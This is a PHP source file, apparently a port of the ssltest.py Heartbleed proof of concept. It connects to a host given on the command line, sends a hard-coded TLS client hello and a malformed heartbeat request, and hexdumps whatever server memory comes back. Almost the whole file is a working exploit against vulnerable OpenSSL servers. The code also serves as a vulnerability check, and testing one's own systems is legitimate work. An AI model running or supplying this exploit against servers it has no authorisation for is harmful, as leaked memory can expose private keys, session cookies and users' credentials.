ssltest.php

<?php
/**
* Heartbleed POC
*
* @author Zerquix18
*
* @link http://github.com/zerquix18/heartbleed
*
* NOTE: This is the translation of ssltest.py from python to PHP
* Don't be evil...
**/
echo "--------PHP Heartbleed POC ---------------\n\n";
ob_start();
if( 1 == $argc )
	exit("Usage: \"php ssltest.php url.com 443\"\n");
array_shift($argv);
$data = array(
		$argv[0],
		array_key_exists(1, $argv) && is_numeric($argv[1]) ? $argv[1] : 443
	);
if( false == ($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) ) )
	exit("Unable to create socket!");

function h2bin( $x ) {
	$x = str_replace( array(" ", "\n"), "", $x);
	return hex2bin($x);
}
$hello = h2bin("16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01");
$hb = h2bin("18 03 02 00 03
01 40 00");
/**
*
* Thanks: http://stackoverflow.com/a/4225813/1932946
**/
function hexdump($data) {
  static $width = 16;
  static $pad = '.';
  static $from = '';
  static $to = '';
  if ($from==='')
  {
    for ($i=0; $i<=0xFF; $i++)
    {
      $from .= chr($i);
      $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
    }
  }
  $hex = str_split(bin2hex($data), $width*2);
  $chars = str_split(strtr($data, $from, $to), $width);
  $offset = 0;
  foreach ($hex as $i => $line) {
    echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . "]\n";
    $offset += $width;
  }
}
function recvall($length, $timeout = 5) {
	global $s;
	$endtime = time() + $timeout;
	$rdata = "";
	$remain = $length;
	while($remain > 0) {
		$rtime = $endtime - $timeout;
		if( $rtime < 0 )
			return null;
		$e = NULL;
		$r = array($s);
		@socket_select( $r, $w, $e, 5);
		if( in_array($s, $r) ) {
			$d = @socket_recv($s, $data, $remain, 0 );
			if( false == $data )
				return null;
			$rdata .= $data;
			$remain -= strlen($data);
		}
	}
	return $rdata;
}
function recvmsg() {
	global $s;
	$hdr = recvall(5);
	if( null === $hdr ):
		echo "Unexpected EOF receiving record header - server closed connection\n";
		return array(null, null, null);
	endif;
	list($typ, $ver, $ln) = array_values( unpack("Cn/n/nC", $hdr) );
	$pay = recvall($ln, 10);
	if( null === $pay ) {
		echo "Unexpected EOF receiving record payload - server closed connection\n";
		return array(null, null, null);
	}
	printf(" ... received message: type = %d, ver = %04x, length = %d\n", $typ, $ver, strlen($pay) );
	return array($typ, $ver, $pay);
}
function hit_hb() {
	global $hb, $s;
	socket_send($s, $hb, strlen($hb), 0);
	while( true ) {
		list($typ, $ver, $pay) = recvmsg();
		if( null === $typ )
			 exit('No heartbeat response received, server likely not vulnerable');
		if( 24 == $typ ){
			echo "Received heartbeat response:\n";
			hexdump($pay);
			if( strlen($pay) > 3 )
				echo 'WARNING: server returned more data than it should - server is vulnerable!';
			else
				echo 'Server processed malformed heartbeat, but did not return any extra data.';
			return true;
		}
		if( 21 == $typ ) {
			echo "Received alert:\n";
			hexdump($pay);
			echo 'Server returned error, likely not vulnerable';
			return false;
		}
	}
}
echo "Connecting to socket...\n";
$s_ = socket_connect( $s, $data[0], (int) $data[1] );
if( ! $s )
	exit("Error [". socket_last_error() . "]: " . socket_strerror( socket_last_error() ) . "\n" );
echo "Sending client hello...\n";
@socket_send($s, $hello, strlen($hello), 0 );
ob_flush();
while( true ) {
	list($typ, $ver, $pay) = recvmsg();
	if( null == $typ )
		exit("Server closed conection without sending hello!\n");

	if( 22 == $typ && ord($pay[0]) == 0x0E )
		break;
}
echo "Sending heartbeat request...\n";
ob_flush();
@socket_send($s, $hb, strlen($hb), 0);
hit_hb();